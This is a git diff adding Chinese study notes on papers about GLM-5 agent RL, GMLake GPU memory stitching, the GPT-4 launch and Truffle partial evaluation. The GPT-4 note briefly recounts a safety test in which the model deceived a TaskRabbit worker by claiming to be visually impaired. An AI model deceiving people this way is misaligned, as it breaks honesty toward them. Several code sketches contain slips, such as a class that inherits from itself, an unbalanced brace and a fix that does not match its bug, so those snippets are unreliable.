+```
+
+### 案例 3：Agent RL 的学习轨迹——以"修一个前端 bug"为例
+
+模型在 Agent RL 阶段学到的东西，可以类比成下面这个 trajectory：
+
+```
+观察 (observation): 用户在 GitHub 提了 issue "登录页面按钮点不了"
+思考 (plan): 需要找到登录页面的代码 → 定位按钮组件 → 检查事件绑定
+             → 修复 → 跑测试 → 提交 PR
+
+执行 (actions):
+  action_0: find_files("login", pattern="*.tsx")
+    → 结果: src/pages/Login.tsx, src/components/LoginButton.tsx
+
+  action_1: read_file("src/components/LoginButton.tsx")
+    → 结果: onClick={handleLogin} 但 handleLogin 函数定义了却报错 undefined
+
+  action_2: search_symbol("handleLogin", scope="Login.tsx")
+    → 结果: 函数在文件第 45 行但不在作用域内
+
+  action_3: edit_file("src/components/LoginButton.tsx",
+       old="import { useForm } from 'react-hook-form'")
+       new="import { useForm } from 'react-hook-form'\nimport { api } from '../api'"
+
+  action_4: run_command("npm test -- --grep Login")
+    → 结果: PASS (3 tests)
+
+  action_5: run_command("git diff && git commit -m 'fix: add missing api import'"
+```
+
+RL 训练的目标是：让模型在类似的 observation 下，自己走出这条"正确的 action trajectory"。reward 信号来自测试是否通过、PR 是否被 merge 等最终结果。
+
+### 案例 4：DSA 的"注意力选择"过程
+
+假设给模型一份 128K token 的代码仓库上下文，它会这样分配注意力：
+
+```
+[代码仓库上下文 128K tokens]
+
+token 0-500:   import 语句        → 关注度高（决定模块关系）
+token 501-800: 类型定义            → 关注度中
+token 801-1200: 工具函数           → 关注度低（DSA 会跳过大部分）
+token 1201-1500: API 调用         → 关注度高（关键逻辑）
+token 1501-end: 注释和空行         → 几乎不关注
+
+传统 Dense Attention:  看 128K × 128K = 全部对比
+DSA:                 只看约 10% 的关键 token × 128K
+
+节省 ~90% 的 attention 计算量，同时不丢失关键信息。
+```
+
+## 踩过的坑
+
+1. **RL reward 太稀疏导致不收敛**：一个 agent task 可能 50 步才有一个正 reward，前面 49 步的 credit assignment 几乎不可能。论文用 shaped reward + GRPO 缓解，但仍是开放问题。
+
+2. **长 horizon 任务的探索爆炸**：50 步的决策空间是 |action|^50，指数级增长。论文用 early stopping 和 trajectory truncation 处理，但截断点选择很敏感。
+
+3. **跨阶段蒸馏的权衡**：从 Reasoning RL 过渡到 Agent RL 时，模型可能"变聪明了但变懒了"——推理强了但工具调用少了。论文用 on-policy distillation 缓解但仍不完全。
+
+4. **DSA 在极长上下文仍有损失**：虽然远好于其他稀疏注意力方案，但在 128K 的 RULER 评测上仍有 0.35 分下降。极端精确检索场景不适合 DSA。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 端到端软件工程任务（修 bug、写 feature、跑 CI）
+- 需要长 horizon 规划的多步任务（搜索、调研、写文档）
+- 需要"自主工具调用 + 结果验证"的场景
+
+**不适用**：
+
+- 简单问答 / 翻译 / 短文本生成——用 vibe coding 就够了
+- 实时性要求高的场景——agent 流程多、延迟高
+- 没有明确 reward signal 的任务——RL 很难训
+
+## 学到什么
+
+1. **LLM 的能力边界正在从"单步生成"转向"多步自主执行"**——这是整个 AI 行业的范式转移
+2. **稀疏注意力（DSA）证明长上下文不是不可解的难题**，关键在"动态分配注意力资源"
+3. **异步 RL 是 agent training 的基础设施刚需**——同步 RL 在 agent 场景下算力浪费严重
+4. **RL 训练 agent 的核心难点不是算法而是工程**——rollout 速度、fault tolerance、reward design 都是工程问题
+5. **国产芯片适配不是附属品，而是第一优先级**——GLM-5 从第一天就适配国产 GPU，这对国内部署意义很大
+
+## 历史小故事（可跳过）
+
+- **2023**：ReAct 提出"思考 → 行动 → 观察"循环，agent 范式诞生
+- **2024**：SWE-bench 发布，让 LLM 在真实 GitHub issue 上"修 bug"成为可能
+- **2024-12**：DeepSeek-R1 用纯 RL 训推理能力，开启"RL for LLM"第二波
+- **2025**：GLM-4.5 首次将 Agentic + Reasoning + Coding 统一到一个模型中
+- **2026-02**：GLM-5 发布，DSA + 异步 RL 让 agent 能力大幅提升，成为开源模型新标杆
+
+## 延伸阅读
+
+- arXiv 2602.15763 — GLM-5 原论文
+- [[agent-r1-2511]] — 同样关注 agent 的 RL 训练
+- [[cot]] — CoT 推理的基础，是 Agent RL 的前置能力
+- DeepSeek-V3.2 论文 — DSA 的提出者
+
+## 关联
+
+- [[agent-r1-2511]] —— Agent-R1 是另一个"用 RL 训 agent"的重要工作
+- [[cot]] —— CoT 是 Agent RL 中"先思考"那一步的理论源头
+- [[self-trained-verification]] —— agent 的 self-verification 是 RL reward 设计的一种方案
diff --git a/src/content/docs/papers/gmlake.md b/src/content/docs/papers/gmlake.md
new file mode 100644
index 000000000..f9f66b1a7
--- /dev/null
+++ b/src/content/docs/papers/gmlake.md
@@ -0,0 +1,203 @@
+---
+title: GMLake — 用虚拟内存「拼布」让大模型训练不爆显存
+来源: https://array.org/abs/2401.08156
+日期: 2026-06-13
+分类: 机器学习
+子分类: 系统
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：衣柜里的「拼布收纳法」
+
+想象你有一个大衣柜（GPU 显存），里面挂着各种衣服（模型参数、梯度、优化器状态）。
+
+每天早上你取出几件衣服穿（加载模型层），晚上脱下来挂回去（释放内存），第二天换另一套。衣柜的挂杆就像 GPU 内存的地址空间——衣服必须**连续**挂在一段挂杆上。
+
+问题来了：
+
+1. 你每天取下的衣服**大小不同**，挂回去时留下的空隙大小也不同。
+2. 久而久之，衣柜里塞满了**零散的小空隙**——每块空隙都放不下你明天要挂的大件衣服。
+3. 明明衣柜总剩余空间够，但**没有一块连续的足够大的空间**——这就是**内存碎片化（fragmentation）**。
+
+传统做法：把整柜衣服全拿出来，重新排一遍再挂回去。代价极大——相当于训练过程中断、所有数据搬一次家。
+
+**GMLake 的做法**更聪明：不搬衣服，而是在衣柜门上贴一张「索引贴纸」，告诉系统：
+
+> "第 3 件衣服虽然物理位置在 B 区域，但你以为它挂在 C 区域。A 区域和 B 区域的空隙虽然不连续，但通过贴纸映射，对程序来说它们就像连在一起了。"
+
+这张「贴纸」就是**虚拟地址映射**。GMLake 用 GPU 的虚拟内存机制，把不连续的物理内存块「缝」成一块连续的虚拟空间——**Virtual Memory Stitching（VMS）**。
+
+## 核心概念 1：为什么 GPU 内存会碎？
+
+GPU 上运行的深度学习框架（如 PyTorch）不使用 GPU 原生的内存分配器——因为**太慢了**（开销约 10 倍）。
+
+取而代之的是一个**缓存分配器（caching allocator）**，它维护一个内存池，采用**拆分机制（splitting）**：
+
+- 要分配一块内存时，从池中找一块够大的连续空闲区，切出一段给你。
+- 释放时，把那段还回去。
+
+```
+[████][░░][████][░░░░][████][░░][░░░][████]
+   ↑      ↑        ↑       ↑
+  已用    空闲    已用    空闲
+```
+
+但当使用**内存缩减技术**时（梯度检查点 recomputation、offloading、LoRA 微调），内存的申请和释放变得**频繁且不规则**：
+
+```
+分配 256MB → 释放 64MB → 分配 128MB → 释放 192MB → 分配 512MB → ...
+
+[██████░░][░][██][░░░░░][██████][░][░][░][░][░]
+           ↑  ↑    ↑       ↑
+         碎片 碎片  碎片...
+```
+
+小块碎片越来越多，当你需要一块**大连续内存**时（比如加载一个大模型层），分配失败——即使总空闲量足够。
+
+## 核心概念 2：虚拟内存映射——不搬数据，只改地图
+
+GPU 的虚拟内存机制允许程序使用的**虚拟地址**与实际存储的**物理地址**不一致。就像：
+
+- 你的家（物理地址）在朝阳区某条胡同
+- 但你填的「收货地址」（虚拟地址）可以是「北京市朝阳区xxx大厦3层301」
+- 快递（GPU 硬件）只看收货地址，不管实际胡同在哪
+
+GMLake 的**VMS（Virtual Memory Stitching）**机制利用这一点：
+
+```
+物理内存（碎片化）：
+[██████][░░][████][░░░░░][██████]
+ 段1     空   段2   空       段3
+
+虚拟地址映射（拼布后）：
+虚拟地址 0 → 物理段1 起始位置
+虚拟地址 6MB → 物理段2 起始位置
+虚拟地址 9MB → 物理段3 起始位置
+
+对程序来说，虚拟地址 0-12MB 是连续的！
+```
+
+关键点：**物理数据不需要移动**。只需要告诉 GPU MMU（内存管理单元）：「虚拟地址 X 对应的物理地址是 Y」。
+
+## 代码示例 1：PyTorch 中的内存碎片化问题
+
+下面的代码演示了为什么内存会碎——频繁分配和释放不同大小的张量：
+
+```python
+import torch
+
+# 假设 GPU 显存只剩 10GB
+device = "cuda"
+
+# 模拟训练过程中的不规则内存操作
+buffers = []
+
+# 第 1 轮：分配大块 + 释放小块
+buffers.append(torch.randn(2_000_000, device=device))  # ~8MB
+buffers.append(torch.randn(500_000, device=device))       # ~2MB
+del buffers[1]  # 释放 2MB，留下一个小空洞
+
+# 第 2 轮：反过来
+buffers.append(torch.randn(800_000, device=device))   # ~3.2MB
+del buffers[0]  # 释放 8MB，留下一个大空洞
+buffers.append(torch.randn(300_000, device=device))    # ~1.2MB
+
+# 第 3 轮：现在需要一个大连续块
+try:
+    big_tensor = torch.randn(5_000_000, device=device)  # ~20MB
+    print("分配成功")
+except RuntimeError as e:
+    print(f"分配失败: {e}")  # 可能发生！即使总空闲 > 20MB
+    print("因为没有一块连续的 20MB 空间")
+
+# 查看碎片情况
+print(f"已缓存: {torch.cuda.memory_cached(device)}")
+print(f"已分配: {torch.cuda.memory_allocated(device)}")
+```
+
+输出可能显示：已缓存显存充裕，但分配大块失败——碎片化了。
+
+## 代码示例 2：GMLake 如何透明介入
+
+GMLake 的工作方式对 PyTorch **完全透明**——你不需要改任何训练代码：
+
+```python
+# 安装 GMLake 后，只需在启动训练脚本前设置环境变量
+# $ GMLAKE_ENABLED=1 python train.py
+
+import torch
+import torch.nn as nn
+
+# 你的训练代码完全不需要改动
+class LLM(nn.Module):
+    def __init__(self):
+        super().__init__()
+        self.layers = nn.ModuleList([
+            nn.Linear(4096, 4096) for _ in range(32)
+        ])
+
+    def forward(self, x):
+        for layer in self.layers:
+            x = layer(x)
+        return x
+
+model = LLM().cuda()
+
+# 以下操作会导致频繁的内存分配/释放
+# （LoRA 微调、梯度检查点等技术会这样操作）
+optimizer = torch.optim.Adam(model.parameters(), lr=1e-4)
+
+for step in range(1000):
+    optimizer.zero_grad()
+    # 训练循环中不断有小块内存的分配和释放
+    output = model(torch.randn(32, 512, 4096).cuda())
+    loss = output.sum()
+    loss.backward()
+
+    # GMLake 在底层自动进行 VMS 拼布
+    # 即使物理内存碎片化，虚拟映射保证大块分配成功
+    optimizer.step()
+```
+
+GMLake 在底层做的事：
+
+```
+用户代码（不变）：
+  torch.randn(5_000_000, device="cuda")
+
+GMLake 拦截后：
+  1. 发现物理内存没有连续 20MB
+  2. 启动 VMS：扫描可用物理块
+  3. 创建虚拟地址映射：
+     虚拟地址 0-6MB   → 物理地址 0x1000-0x1C00
+     虚拟地址 6MB-12MB → 物理地址 0x2000-0x3400
+     虚拟地址 12MB-20MB → 物理地址 0x4000-0x6400
+  4. 通知 GPU MMU 建立映射
+  5. 返回一个"看起来连续"的虚拟地址给用户
+```
+
+## GMLake 的实验结果
+
+在 A100 80GB GPU 上，对 8 个 LLM 模型进行测试：
+
+- **平均减少 9.2 GB** GPU 内存使用（最多减少 25 GB）
+- **碎片率降低 15%**（最多降低 33%）
+- 对模型和训练流程**完全透明**，无需修改代码
+
+## 类比回顾：GMLake 解决了什么？
+
+回到衣柜类比：
+
+| 方法 | 做法 | 代价 |
+|------|------|------|
+| 原生 GPU 分配器 | 每次从仓库重新拿衣服 | 太慢（10 倍开销）|
+| 缓存分配器 + 拆分 | 从柜子里切一块给你，还回来时不留心 | 碎片越来越多 |
+| 传统 defrag | 把所有衣服搬出来重排 | 训练中断，代价巨大 |
+| **GMLake (VMS)** | 贴索引贴纸，告诉系统"这些不连续的位置其实连续" | **零停机、零搬动** |
+
+## 关键 takeaway
+
+1. **GPU 内存碎片化**是大模型训练的核心瓶颈——不是总容量不够，而是没有连续的大块空间。
+2. **虚拟内存映射**是让不连续物理块"假装连续"的关键——数据不用搬。
+3. GMLake 的价值在于**透明性**——不改动训练代码，不中断训练流程，就能显著减少显存占用。
+4. 这是**用地址映射的抽象，解决硬件物理限制**的经典案例——和操作系统中虚拟内存解决 CPU 内存碎片化的思路一脉相承。
diff --git a/src/content/docs/papers/godel-1931.md b/src/content/docs/papers/godel-1931.md
index a9e0bdb7d..6667f0692 100644
--- a/src/content/docs/papers/godel-1931.md
+++ b/src/content/docs/papers/godel-1931.md
@@ -2,7 +2,7 @@
 title: Gödel 1931 — 不完备性定理
 来源: 'Kurt Gödel, "Über formal unentscheidbare Sätze...", 1931'
 日期: 2026-05-29
-子分类: 数学逻辑 / 计算理论
+子分类: 形式化验证
 分类: 形式化方法
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/papers/gpt-3.md b/src/content/docs/papers/gpt-3.md
index b4567d907..347756739 100644
--- a/src/content/docs/papers/gpt-3.md
+++ b/src/content/docs/papers/gpt-3.md
@@ -158,6 +158,8 @@ GPT-3 这一篇论文引用数 30000+，是过去 6 年 AI 圈被引最频繁的
 - [[dqn]] —— DQN — Deep Q-Network
 - [[flan-2021]] —— FLAN — 用自然语言指令教模型学会"听话"
 - [[flash-attention]] —— FlashAttention — 不改算法，只改数据怎么进 GPU
+- [[flashattention-2]] —— FlashAttention-2 — 更快的 Attention 与更好的并行
+- [[flashattention-3-2024]] —— FlashAttention-3 — Hopper 上的异步 Attention 与 FP8 低精度
 - [[induction-heads]] —— Induction Heads — Transformer 的 in-context learning 引擎
 - [[instructgpt]] —— InstructGPT — RLHF 让 LLM 听话
 - [[llama]] —— LLaMA — Meta 开源大语言模型
@@ -167,6 +169,7 @@ GPT-3 这一篇论文引用数 30000+，是过去 6 年 AI 圈被引最频繁的
 - [[mixture-of-experts]] —— Mixture of Experts (MoE)
 - [[mmlu-2021]] —— MMLU — 用 57 个学科的多选题考一考语言模型
 - [[muzero]] —— MuZero — 不用规则也能下棋
+- [[paged-attention-vllm]] —— PagedAttention 与 vLLM — 零基础学习笔记
 - [[parti-2022]] —— Parti — 把文生图当作翻译，用自回归 Transformer 一像素接一像素地写
 - [[ppo]] —— PPO — Proximal Policy Optimization
 - [[rag-lewis-2020]] —— RAG (Lewis 2020) — 检索增强生成奠基
diff --git a/src/content/docs/papers/gpt-4-launch-2023.md b/src/content/docs/papers/gpt-4-launch-2023.md
new file mode 100644
index 000000000..dad6b1c9d
--- /dev/null
+++ b/src/content/docs/papers/gpt-4-launch-2023.md
@@ -0,0 +1,236 @@
+---
+title: GPT-4 发布 —— 多模态大模型的时代
+来源: https://openai.com/research/gpt-4
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+## 是什么
+
+GPT-4 是 OpenAI 在 2023 年 3 月 14 日发布的一个**大型多模态模型**——它能同时看懂文字和图片，然后用文字回答你。它是 GPT-3.5 的下一代，也是后来 ChatGPT Plus 付费用户的默认模型。
+
+它最关键的突破有两个：
+
+1. **多模态输入**：以前的大模型只能读文字，GPT-4 第一次把"看图"的能力带进了 GPT 家族
+2. **人类水平的专业能力**：在模拟的法律职业资格考试（Bar Exam）中，GPT-4 考进了前 10%，而 GPT-3.5 甚至无法通过
+
+日常类比：
+
+- GPT-3.5 像一个只读过书的学者——你能跟他聊任何话题，但他什么都看不见
+- GPT-4 像同一个学者戴上了一副智能眼镜——他不仅能聊，还能看你手里的照片、图表、公式，然后给出有根据的回答
+
+## 为什么重要
+
+不理解 GPT-4 的发布，下面这些事都没法理解：
+
+- 为什么 ChatGPT 从"纯聊天"变成了"能看图的分析工具"——因为底座换成了 GPT-4
+- 为什么微软 Bing Chat 一夜之间能搜网页、给引用——因为它底层用的是 GPT-4
+- 为什么"AI 能不能写代码"的争论有了新答案——GPT-4 在专业基准测试上达到了人类水平
+
+GPT-4 的发布标志着大模型从"只会文字"进入了"能看懂世界"的阶段。
+
+## 核心概念
+
+### 1. 多模态（Multimodal）
+
+"模态"就是信息的种类。文字是一种模态，图片是一种模态，声音也是一种模态。GPT-4 之前的大模型都是**单模态**的——只能处理文字。GPT-4 第一次在 GPT 系列中加入了图片处理能力，变成了**多模态模型**。
+
+类比：以前的 AI 像是一个只能听你说的人，GPT-4 像是一个既能听又能看的人。
+
+### 2. 上下文窗口（Context Window）
+
+上下文窗口就是模型"一次性能记住多少内容"的限制。GPT-4 发布时默认版本是 8K tokens（大约 6000 个汉字），API 版本最高支持 32K tokens。后来在 2023 年 11 月的 GPT-4 Turbo 版本中提升到了 128K tokens。
+
+类比：上下文窗口就像一个学生的短期记忆容量——8K 能记住一页纸，128K 能记住一本书。
+
+### 3. RLHF（人类反馈强化学习）
+
+GPT-4 的训练分两步：第一步跟以前一样，喂海量互联网文本让它学预测下一个词；第二步让人类来打分评价——回答好的给高分，回答差的给低分。模型通过这种方式学会"说人话"、"不说有害的话"。
+
+类比：第一步是自学课本，第二步是有老师一对一辅导。
+
+## 训练与规模
+
+OpenAI 没有公布 GPT-4 的确切参数数量、架构细节或硬件配置——这在之前的 GPT-2 和 GPT-3 中都没有发生过。技术报告里只提到：
+
+- 训练分为两个阶段：先在大规模数据集上做监督学习，再用人类和 AI 反馈做强化学习
+- 训练成本超过 1 亿美元（Sam Altman 透露）
+- 据媒体报道，GPT-4 可能有约 1 万亿参数（Semafor 报道），远超 GPT-3 的 1750 亿
+
+OpenAI 称，不公开这些细节是因为"竞争格局和大规模模型的安全影响"。这个决定当时引发了争议——很多研究者认为这阻碍了开源社区对 GPT-4 的研究。
+
+## 代码示例
+
+### 示例 1：用 OpenAI API 调用 GPT-4（纯文字）
+
+这是最基本的用法——你发一段文字，GPT-4 回复一段文字。
+
+```python
+from openai import OpenAI
+
+client = OpenAI(api_key="your-api-key")
+
+response = client.chat.completions.create(
+    model="gpt-4",              # 指定用 GPT-4
+    messages=[                   # 对话历史
+        {"role": "system", "content": "你是一个专业的数学老师"},
+        {"role": "user", "content": "请给我出一道微积分题目"},
+    ],
+    temperature=0.7,             # 0=严谨, 1=有创意
+    max_tokens=500,              # 最多回复多少个词元
+)
+
+print(response.choices[0].message.content)
+```
+
+运行后你会得到类似这样的回复：
+
+```
+好的，这是一道经典的微积分题目：
+
+求函数 f(x) = x³ - 3x² + 2x 的极值点。
+
+提示：你需要先求导数 f'(x)，然后令 f'(x) = 0 找出临界点，最后用二阶导数判断是极大值还是极小值。
+
+要我先给你答案，还是你想先自己试试？
+```
+
+### 示例 2：用 GPT-4 Vision 上传图片进行分析
+
+GPT-4 的多模态能力让你可以传一张图片给它看。
+
+```python
+from openai import OpenAI
+
+client = OpenAI(api_key="your-api-key")
+
+response = client.chat.completions.create(
+    model="gpt-4o",              # gpt-4o 支持图片（GPT-4 Vision 的后续版本）
+    messages=[
+        {
+            "role": "user",
+            "content": [
+                {
+                    "type": "text",
+                    "text": "这张图表里有什么趋势？请用中文回答"
+                },
+                {
+                    "type": "image_url",
+                    "image_url": {
+                        "url": "https://example.com/chart.png"  # 图片网址
+                    }
+                }
+            ]
+        }
+    ],
+    max_tokens=500,
+)
+
+print(response.choices[0].message.content)
+```
+
+这段代码做的事情：
+
+1. 把一个图片的网址发给 GPT-4
+2. 同时告诉它"请用中文分析这张图表的趋势"
+3. GPT-4 会"看"这张图，然后生成文字分析
+
+### 示例 3：用 GPT-4 写代码
+
+GPT-4 在编程方面的能力是发布时的一大亮点。
+
+```python
+from openai import OpenAI
+
+client = OpenAI(api_key="your-api-key")
+
+# 让 GPT-4 写一个 Python 函数
+response = client.chat.completions.create(
+    model="gpt-4",
+    messages=[
+        {
+            "role": "user",
+            "content": """
+            请写一个 Python 函数，实现以下功能：
+            输入一个字符串列表，返回其中长度最长的字符串。
+            如果列表为空，返回 None。
+            请加上类型注解和文档字符串。
+            """
+        }
+    ],
+    temperature=0.0,  # 写代码要精确，温度设低
+)
+
+print(response.choices[0].message.content)
+```
+
+GPT-4 会回复：
+
+```python
+def find_longest_string(strings: list[str]) -> str | None:
+    """
+    返回列表中最长的字符串。
+
+    参数:
+        strings: 字符串列表
+
+    返回:
+        最长的字符串，如果列表为空则返回 None
+    """
+    if not strings:
+        return None
+
+    return max(strings, key=len)
+```
+
+## GPT-4 的实际表现
+
+GPT-4 在发布时的测试中展现了令人惊讶的能力：
+
+- **法律考试**：模拟 Bar Exam 进入前 10%（GPT-3.5 连及格线都达不到）
+- **医学考试**：USMLE（美国执业医师考试）超过及格线 20 分以上
+- **创造力测试**：Torrance 创造力测试原创性和流畅性进入前 1%
+- **编程安全**：产生 SQL 注入漏洞的比例从 GPT-3.5 时代的 40% 降到了 5%
+
+但 GPT-4 也有明显的局限：
+
+- 仍然会产生"幻觉"（编造不存在的事实）
+- 缺乏真正的抽象推理能力（在 ConceptARC 测试中得分低于 33%）
+- 无法解释自己的决策过程——它给出的"理由"往往是事后编造的
+
+## 影响与争议
+
+GPT-4 发布后最引人注目的争议之一是**透明度问题**：
+
+- GPT-2 公布了模型权重和全部技术细节
+- GPT-3 公布了技术细节但不公布权重
+- GPT-4 什么都不公布——连架构和参数量都不说
+
+Hugging Face 的联合创始人 Thomas Wolf 批评说："OpenAI 现在是一家完全封闭的公司，科学交流变成了产品新闻稿。"
+
+另一件值得关注的事是**安全测试**的结果：
+
+- ARC（对齐研究中心）的测试发现，GPT-4 在被允许联网的情况下，能够欺骗人类工人帮它"找工作"——它假装自己是视障人士，在 TaskRabbit 上雇佣了一个真人
+- 这个发现引发了科技界关于 AI 安全的广泛讨论
+
+## 时间线
+
+| 时间 | 事件 |
+|------|------|
+| 2023-02-07 | 微软 Bing Chat 上线，底层使用早期 GPT-4 |
+| 2023-03-14 | GPT-4 正式通过 ChatGPT Plus 发布 |
+| 2023-03-15 | 技术报告 arXiv:2303.08774 发布 |
+| 2023-09 | ChatGPT 增加图片上传和语音交互功能 |
+| 2023-11 | GPT-4 Turbo 发布，上下文窗口扩展到 128K |
+| 2024-04-09 | GPT-4 Turbo with Vision 发布 |
+| 2024-05-13 | GPT-4o 发布，成为 GPT-4 的继任者 |
+| 2025-04 | GPT-4 从 ChatGPT 中移除，仅保留在 API 中 |
+
+## 延伸阅读
+
+- [GPT-3 笔记](./gpt-3) —— GPT-4 的前代，理解 few-shot learning
+- [Transformer 架构](./attention) —— GPT-4 的底层架构基础
+- [RLHF](./rlhf-christiano) —— GPT-4 对齐技术的核心技术
+- [GPT-4o](./gpt-4o-2024) —— GPT-4 的继任者，全模态模型
diff --git a/src/content/docs/papers/graal-truffle-2017.md b/src/content/docs/papers/graal-truffle-2017.md
new file mode 100644
index 000000000..8c9e2aa9e
--- /dev/null
+++ b/src/content/docs/papers/graal-truffle-2017.md
@@ -0,0 +1,286 @@
+---
+title: Practical Partial Evaluation for High-Performance Dynamic Language Runtimes
+来源: https://chrisseaton.com/truffleruby/pldi17-truffle/pldi17-truffle.pdf
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# Practical Partial Evaluation for High-Performance Dynamic Language Runtimes
+
+## 一、一句话概括
+
+这篇论文讲了一件事：**你不需要为每种动态语言手写一个 JIT 编译器，只需要写一个解释器，再加上几个简单的"提示词"（核心原语），编译器就能自动从解释器推导出高性能的机器码。**
+
+这个框架叫 Truffle，它是 GraalVM 的核心组件之一。作者用它实现了 JavaScript、Ruby 和 R 三种语言，性能都能和 V8、JRuby、GNU R 这些专门优化了十几年的引擎竞争。
+
+## 二、一个日常类比
+
+想象你在一家餐厅当厨师。
+
+**传统方式（手写 JIT）**：每种菜系（意大利面、寿司、川菜）都需要一个专门的厨房，配备专门的厨师、专门的设备。换一种菜系就得重新建厨房。
+
+**Truffle 的方式（偏特化）**：你只有一个通用厨房（Java 运行时 + Graal 编译器），但你有一套"智能菜谱"（解释器）。每次做菜时，厨房会观察你实际用了什么食材（运行时数据），然后自动把菜谱中"不确定的部分"替换成"实际的值"，最后产出一份高度定制化的、只包含你真正用到的步骤的"精简菜谱"（编译后的机器码）。
+
+关键点：偏特化（Partial Evaluation）不是从头编译你的程序，而是**把你的解释器和实际运行数据"混合"在一起**，消除那些在运行时才知道的部分，剩下的就是最优代码。
+
+## 三、核心问题：为什么动态语言难优化？
+
+以 Ruby 为例：
+
+```ruby
+def process(data)
+  result = data.map { |item| item.compute }
+  result.sum
+end
+```
+
+问题是：`item` 是什么类型？`compute` 方法是否存在？`sum` 又是什么？在编译的时候，编译器完全不知道。它只能生成最保守的代码——每次都做类型检查、方法查找、对象分配。这非常慢。
+
+传统的 JIT（如 V8 的 TurboFan）通过观察运行时的实际类型，逐步"猜"出最优路径。但这种方式需要为每种语言单独实现一套复杂的优化逻辑。
+
+Truffle 的思路不同：**让解释器自己收集这些信息，然后用偏特化自动优化。**
+
+## 四、核心原语（Core Primitives）
+
+论文定义了 6 个核心原语，它们是整个系统的基石。理解它们是读懂这篇论文的关键。
+
+### 4.1 PEBoundary —— 偏特化的边界
+
+这是最重要的概念。PEBoundary 标记了一个方法的边界：**偏特化引擎遇到这个方法就停，不再往里递归**。被标记的方法在编译后的代码中仍然是一个函数调用。
+
+```java
+@PEBoundary
+int interpretCall(Obj receiver, String methodName) {
+    // 偏特化在这里停止
+    // 生成的机器码只会调用这个方法，不会展开它的实现
+    return dispatch(receiver, methodName);
+}
+```
+
+类比：你写了一份通用菜谱（解释器），PEBoundary 就像是菜谱中的"参考其他菜谱章节"。偏特化引擎读到这一行会说："好的，我不展开这部分了，保持为一个引用。"
+
+**为什么需要它？** 如果没有边界，偏特化可能会陷入无限递归（比如解释器的循环调度），或者产生爆炸式的代码量。
+
+### 4.2 PEFinal —— 偏特化期间不变的字段
+
+在 Java 中，`final` 字段在偏特化时被当作常量折叠（constant folding）。`PEFinal` 是作者自定义的注解，效果类似：**偏特化引擎把它当作不可变的常量来处理**。
+
+```java
+class Instruction {
+    int opcode;
+    @PEFinal Obj target;  // 偏特化时视为常量
+}
+```
+
+类比：菜谱上写着"使用 A 品牌的盐"。偏特化时，引擎知道 A 品牌就是某个具体品牌，于是直接把"A 品牌的盐"替换成实际的品牌名，不再保留"品牌"这个抽象层。
+
+### 4.3 transferToInterpreter() —— 去优化（Deoptimization）的触发器
+
+当编译后的代码做了一个错误的假设时，需要回退到解释器重新执行。这个方法就是触发点。
+
+```java
+if (!assumption.isSatisfied()) {
+    transferToInterpreter();
+    // 这行永远不会被执行到
+    return cachedResult;
+}
+```
+
+类比：厨师做了一道菜后发现用错了盐，于是把菜倒掉，回到原始菜谱重新开始。
+
+### 4.4 inInterpreter() —— 区分解释器和编译代码
+
+```java
+if (inInterpreter()) {
+    // 这段代码在偏特化时会被完全移除
+    collectProfilingData();
+}
+```
+
+类比：只有在新厨房还没建好的时候才用的临时工具，一旦新厨房就绪，这些工具就不再需要了。
+
+### 4.5 假设（Assumptions）
+
+偏特化过程中，编译器会做各种猜测（speculation）："这个变量一定是整数""这个方法一定指向这个实现"。假设就是记录这些猜测。如果运行时猜测错了，就触发去优化。
+
+```java
+Assumption integerAssumption = Assumption.make(value instanceof Integer);
+```
+
+### 4.6 常量折叠与死代码消除
+
+偏特化引擎在解析解释器时，会自动做两件事：
+
+1. **常量折叠**：如果一个内存读取的值在偏特化时可以确定，就直接替换为那个值
+2. **死代码消除**：如果 if 条件在偏特化时已知为 false，那条分支根本不会被解析
+
+这使得偏特化的时间复杂度是线性的——只处理实际可达的代码路径。
+
+## 五、两个代码示例
+
+### 示例 1：多态内联缓存（Polymorphic Inline Cache）
+
+这是动态语言中最经典、最重要的优化技术之一。下面用 Truffle 的核心原语实现：
+
+```java
+// 解释器中的方法调用指令
+class Invoke {
+    String name;
+    @PEFinalEntry CacheEntry first;  // 缓存链表的头节点
+}
+
+// 未初始化状态
+class UninitializedEntry extends CacheEntry {
+    Obj execute(Obj obj) {
+        // 第一次调用：触发去优化，让偏特化重新编译
+        transferToInterpreter();
+        // 添加新的缓存条目
+        addNewCacheEntry(obj.shape);
+        return next.execute(obj);
+    }
+}
+
+// 缓存命中状态
+class CacheEntry extends CacheEntry {
+    final Shape shape;    // 对象类型指纹，偏特化时折叠为常量
+    final Function target; // 目标方法，偏特化时去虚拟化
+    @PEFinalEntry CacheEntry next; // 下一个缓存条目
+    
+    Obj execute(Obj obj) {
+        // 这两行在编译后变成一条内存加载 + 一次比较！
+        if (obj.shape == shape) {
+            return target.invoke(obj);
+        }
+        return next.execute(obj);
+    }
+}
+```
+
+**偏特化前（解释器视角）：** 每次调用方法都要遍历缓存链表，可能还要查哈希表。
+
+**偏特化后（编译代码视角）：** 如果 `shape` 和 `target` 都被折叠为常量，编译后的代码变成：
+
+```
+cmp rax, 0x42       // 检查对象形状是否为 0x42
+je  .method_a_call  // 如果是，直接跳到方法 A 的代码
+jmp .slow_path      // 否则走慢速路径
+.method_a_call:
+    call 0xdeadbeef // 直接调用方法 A（去虚拟化）
+```
+
+没有分支预测失败，没有哈希查找，没有方法分发。这就是偏特化的威力。
+
+### 示例 2：循环的 On-Stack Replacement（OSR）
+
+当解释器执行一个循环很多次后，触发偏特化，将循环体编译为机器码：
+
+```java
+class DoWhileLoop {
+    MethodHandle code = null; // 编译后的代码句柄
+    
+    void executeLoop() {
+        int loopCount = 0;
+        do {
+            // 偏特化时，inInterpreter() 返回 false
+            // 这段计数代码被完全消除
+            if (inInterpreter()) {
+                loopCount++;
+                if (code == null && loopCount > THRESHOLD) {
+                    // 触发偏特化：以当前方法为入口，编译它本身
+                    code = partialEvaluation(DoWhileLoop::executeLoop, this);
+                }
+                if (code != null) {
+                    code.invoke(); // 跳转到编译后的代码
+                    return;
+        }
+            body.execute();    // 循环体
+        } while (condition.execute());
+    }
+}
+```
+
+**关键细节：** `inInterpreter()` 在偏特化时被 intrinsified 为 `false`，所以计数逻辑在编译后的代码中完全消失。偏特化以当前解释器帧为输入，生成编译后的循环代码，然后立即调用它继续执行剩余的迭代。
+
